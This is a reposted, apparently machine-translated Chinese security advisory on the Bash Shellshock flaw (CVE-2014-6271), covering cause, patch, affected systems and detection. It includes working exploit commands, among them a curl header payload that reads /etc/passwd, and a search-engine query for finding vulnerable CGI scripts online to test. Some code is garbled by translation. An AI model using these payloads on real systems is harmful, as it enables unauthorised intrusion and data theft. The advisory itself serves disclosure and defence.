b2科目四模拟试题多少题驾考考爆了怎么补救
b2科目四模拟试题多少题 驾考考爆了怎么补救

Bash远程执行代码漏洞“ CVE”(CVE

电脑杂谈  发布时间:2020-05-06 08:11:40  来源:网络整理

apache struts2远程命令执行漏洞_bash远程命令执行漏洞_bash远程命令执行漏洞

此版本的更新时间: 2014年9月29日13:20

目录

一张,威胁卡

第二,概述

三个. 发布/披露已知事件

四,漏洞的影响范围

五,脆弱性原则

六个. 漏洞验证方法

七种漏洞检测方法

八,该漏洞可能带来的影响

九,关于此漏洞的建议

十个罗word的单词写在最后

附录1: 致谢

附录2: 更新日志

附录3: 关于破坏外壳的漏洞的命名

附录4: 国内Brother安全团队的参考分析结果

附录V: 其他参考链接

附录VI: 关于Antiy

2014年9月24日,Bash宣布具有一个远程执行代码漏洞. 安蒂实验室安全研究和紧急响应中心(以下简称为安蒂CERT)立即从该信息中作出判断,并确认该漏洞可能导致严重的后果. 后果广泛分布,对5级A级风险开始了紧急响应. 北京时间9月24日上午30: .

Antiy CERT对漏洞进行了严格的分析和验证,并确认该漏洞将影响当前的主流Linux和MacOSX操作系统平台,包括但不限于Redhat,CentOS,Ubuntu,Debian,Fedora,Amazon Linux, OS X 10.10和其他平台. 该漏洞可以通过构造环境变量的值来执行您要执行的攻击代码脚本. 该漏洞将影响与Bash交互的各种应用程序,包括HTTP,OpenSSH和DHCP. 根据当前的漏洞验证情况和已经发布的POC情况,此漏洞将严重影响网络基础架构的安全性,包括但不限于网络设备,网络安全设备,云和大数据中心. 特别是,Bash广泛分布并存在于设备中. 它的消除过程将非常耗时,并且很容易使用它编写蠕虫以进行自动传播. 这也将导致僵尸网络的发展. 目前,多个海外安全机构已发出警告.

注1: Wikipedia中引用的Bash被描述为: “ Bash,一种Unixshell. 1989年发布了第一个正式版本. 最初计划将其用于GNU操作系统,但可以在以下版本中运行: 大多数类别,它用作Unix操作系统(包括Linux和Mac OS X v10.4)上的默认外壳,也已移植到Microsoft Windows上的Cygwin和MinGW或可在MS-DOS上使用的DJGPP项目中. Novell NetWare和Android也已移植. ”

注2: A级响应是Antiy认为是威胁的最高级别. Antiy的目标是蠕虫的爆发和严重的漏洞,这些漏洞可能导致的网络瘫痪和阻塞,并对关键的信息系统和基础架构造成严重威胁. 威胁将启动A级响应. 具体的响应要求是无条件终止分析团队的现有工作,立即建立分析团队,开始快速分析,并及时通知相关的CERT组织和管理部门;持续跟踪威胁,分析和响应相关文献,并不断更新和同步. 这是安蒂今年的第二次A级回应. 以前,这是出血的脆弱性. 自Antiy建立威胁响应分级机制以来,它一直负责密码蠕虫,冲击波,冲击波,SQL Slammer,魔术波,熊猫烧香启动A级响应.

根据信息检索,此漏洞的发现者是法国GNU / LINUX研究人员StéphaneChazelas,发现时间为2014年9月中旬,公开时间为2014年9月24日.

表1漏洞发布供应商列表

表2主要漏洞影响平台和版本

注3: 您也可以下载.

apache struts2远程命令执行漏洞_bash远程命令执行漏洞_bash远程命令执行漏洞

Antiy CERT当前已验证Red Hat,CentOS,Ubuntu,Fedora,Amazon Linux,OS X 10.10中存在具有CVE-2014-6271漏洞的Bash版本,并且是由于Bash在各种主流操作系统中的广泛使用此漏洞的影响包括但不限于使用Bash的大多数Unix,Linux和Mac OS X应用程序,这些操作系统管理的数据具有高风险威胁. 利用此漏洞的方法将通过与Bash交互的各种应用程序开发,包括HTTP,OpenSSH和DHCP.

Antian CERT当前可以采样并验证当前预安装的Android操作系统当前不支持ENV命令. 可以推测,Android操作系统受此漏洞影响的可能性较小.

函数名称调用Bash当前使用的环境变量,从而导致漏洞. 在“(){”开头定义的环境变量被解析为命令ENV中的函数后,Bash执行不会退出,并且Is将继续解析和执行shell命令. 主要原因是输入过滤没有严格的限制,也没有做出合法的参数判断.

在补丁中,主要过滤参数的合法性. 修补程序在/builtins/evalstring.c的parse_and_execute函数中对输入命令的合法性进行边界检测,并排除了代码注入的可能性. 在排除中,主要使用标志的两种判断和命令的一种类型匹配. 为了使标志的判断准确,补丁中预定义了两个徽标SEVAL_FUNCDEF和SEVAL_ONECMD作为判断依据. 此漏洞有三个补丁更新,主要用于过滤输入命令.

/builtins/common.h

#define SEVAL_FUNCDEF0x080 / *仅允许函数定义* /

#define SEVAL_ONECMD 0x100 / *仅允许单个命令* /

/builtins/evalstring.c

如果((flags&SEVAL_FUNCDEF)&& command-> type!= cm_function_def)

{

internal_warning(“%s: 忽略函数定义尝试”,from_file);

should_jump_to_top_level = 0;

last_result = last_command_exit_value = EX_BADUSAGE;

休息;

}

/builtins/evalstring.c

从描述的漏洞原理可以看出,漏洞的根本原因在于Bash的ENV命令的实现,因此漏洞本身无法直接导致远程代码执行. 如果达到远程执行代码的目的,则必须使用第三方服务程序作为媒介来实现它,并且第三方服务程序还必须满足许多条件才能发挥这种媒介的作用. 例如,Antiy CERT已经验证了第三方服务程序apache2可以用作此介质,并且其CGI组件可以进行远程访问,并可以调用Bash的ENV命令来访问数据分析功能. 有关详细信息,请参见以下: CVE-2014-6271远程执行代码的漏洞实现.

当前的Bash脚本通过导出环境变量来支持自定义函数,并且还可以将自定义Bash函数传递给与子进程相关的进程. 通常,不会执行功能体内的代码,但是此漏洞将错误地执行“ {}”大括号之外的命令. Antiy CERT已对破壳漏洞进行了详细的验证,包括本地验证,远程模拟验证和远程实际验证. 远程验证可为httpd服务器提供启用了CGI的测试功能. 因为在执行CGI时,将调用Bash来将Referer,host,UserAgent,Header等视为环境变量. 此外,Antiy CERT还使用DHCP和其他破坏外壳的攻击进行了仿真和攻击方法验证.

1. 本地认证方式:

在shell中执行以下命令:

env x ='(){: ;};回声脆弱的CVE-2014-6271'bash -c“回声测试”

执行该命令后,如果显示Vulnerable CVE-2014-6271,则表明系统易受攻击,可以将echo Vulnerable CVE-2014-6271更改为任何命令以执行.

1)Linux Debian操作系统漏洞验证如下:

2)Apple操作系统(OS X 10.10)漏洞验证如下:

bash远程命令执行漏洞_bash远程命令执行漏洞_apache struts2远程命令执行漏洞

2. 远程验证方法

a. 仿真验证方法

此方法适用于原理验证.

1)在Ubuntu下安装和配置apache服务器

l安装apache2服务器

#sudo apt-get install apache2

l配置apache2服务器

配置文件位于/ etc / apache2 /启用了站点/ 000-default

l使用vi打开配置文件:

#sudo vi / etc / apache2 /已启用站点/ 000默认值

l修改两个句子,如下所示:

DocumentRoot / var / www / html

ScriptAlias / cgi-bin / / var / www / html / cgi-bin /

2)编写WEB服务器测试文件

l编辑服务器测试文件

#sudo vi /var/www/html/cgi-bin/test.sh

#! / bin / bash

回显“内容类型: 文本/ html”

回声“”

l然后重新启动服务

#sudo /etc/init.d/apache2重新启动

3)远程测试

l测试命令如下:

curl -H'x: (){: ;}; a =`/ bin / cat / etc / passwd`; echo $ a''http: // IP地址/ cgi-bin / test.sh'-I

A =`/ bin / cat / etc / passwd`可以在命令中更改; echo $ a是要执行的任何命令.

b. 真实的验证方法

bash远程命令执行漏洞_bash远程命令执行漏洞_apache struts2远程命令执行漏洞

此方法适用于Internet管理部门进行的互联网普查.

1)使用搜索引擎搜索潜在的易受攻击的网站. 以下以google搜索为例:

检索: inurl: / cgi-bin /文件类型: sh

2)提取检索到的URLbash远程命令执行漏洞,然后替换下面的“替换URL”

curl -H'x: (){: ;}; a =`/ bin / cat / etc / passwd`; echo $ a''替换URL'-I

3)如果存在漏洞,则可以复制模拟验证方法的结果以确定漏洞的范围和破坏程度;如果不使用搜索引擎,也可以构造路径(例如: IP / cgi-bin /update.sh、IP / cgi-bin / admin.sh等)来进行连接尝试,但是此方法将浪费大量资源进行无用的连接尝试.

您可以使用本地和远程漏洞验证方法来编写和配置脚本bash远程命令执行漏洞,程序或snort规则等,然后对操作系统平台进行批处理检测. 执行HTTP检测时,可以检测Referer,主机,UserAgent,标头等的标头信息字符串“(){”或相应的十六进制“ \ x28 \ x29 \ x20 \ x7b”,以检测某些具有以下特征的攻击: 发生了.

我们正在进一步进行攻击捕获和特征提取.

注4: 先前版本中的检测规则存在问题. 修正后,此版本已由网友@TeLeMan完善. 谢谢.

1. 该漏洞可以绕过sshd中ForceCommand的配置来执行任意命令;

2. 如果CGI脚本是用Bash编写的,则使用mod_cgi或mod_cgid的Apache服务器将受到影响;

3. DHCP客户端调用Shell脚本来配置系统,并且可能允许执行任何命令;

4. 各种守护程序和SUID /特权程序都可以执行Shell脚本,从而允许用户通过设置或影响环境变量的值来运行任意命令.

1. 根据第6节中的漏洞验证方法执行验证判断. 如果确定存在漏洞,请更新第3节中给出的解决方案的版本.

2. 更新Bash源代码,对ENV命令的实现部分进行边界检查和参数过滤,严格定义函数定义范围,并进行合法的参数判断.

也许我们将不会再更新此报告,因为我们正在就破坏外壳的漏洞进行后续工作,并且我们注定将重点放在漏洞的检测和评估上. 在反APT团队中定位.

这也是Antiy CERT今年第二次做出A级答复,而上一次是Heart Bleed. 当我们回顾Antiy的A级响应文件时,会看到许多熟悉的名称: 密码蠕虫,冲击波,冲击波...

在“出血”发生之前的几年中,这是一个高度定向发展的时代. Antiy CERT的重点转向分析更详细,更长时间的APT攻击,这种攻击已经发布多年了. 超过A级回应. 因此,当“流血”到来时,我们似乎很慌张. 我们不习惯在清晨从睡眠中醒来,我们突然发现需要重建基本环境. 当时,我们的感觉是,就像一群侦探仔细地收集证据并在现场进行研究一样,他们突然在城市里发现了一场大火,任务迅速变成了一支全队参加消防工作. 对于安全分析工程师来说,只要他们重新进入防火线,就可以唤醒睡眠的尖锐和鲜血.


本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-200329-1.html

相关阅读
    发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

    热点图片
    拼命载入中...